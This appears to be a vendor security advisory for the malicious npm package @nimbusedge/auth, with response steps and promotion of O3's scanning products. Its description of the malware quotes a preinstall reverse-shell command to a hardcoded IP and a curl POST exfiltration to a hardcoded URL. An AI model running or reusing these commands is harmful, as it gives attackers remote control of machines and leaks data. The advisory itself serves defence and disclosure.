@nimbusedge/authnpm
@nimbusedge/auth is a confirmed malicious npm package (MAL-2026-16132) that steals credentials and exfiltrates sensitive data (malicious versions 221.1.0, 19999.0.1, 19999.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @nimbusedge/auth (npm)
What this malware does
package.json declares a preinstall lifecycle script that runs bash -i >& /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the hardcoded host 147.93.157.202 on port 8080, and pipes the shell session over plain HTTP to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php via curl -X POST --data-binary @-. The script executes automatically on npm install, giving the remote endpoint interactive command execution on the installer's machine and beaconing session output to the hardcoded URL. The package is published under the scoped name @nimbusedge/auth at version 19999.0.6 — an artificially inflated version consistent with the dependency-confusion resolution pattern, causing internal resolvers configured against the public registry to fetch this artifact in place of a private package of the same name. The mechanism is identical to install-time remote code execution and data exfiltration regardless of any self-labeling in the package metadata.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @nimbusedge/auth (40 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @nimbusedge/auth across your stack and pipelines.
If you installed it — respond
@nimbusedge/auth is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @nimbusedge/auth was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @nimbusedge/auth before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @nimbusedge/auth-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.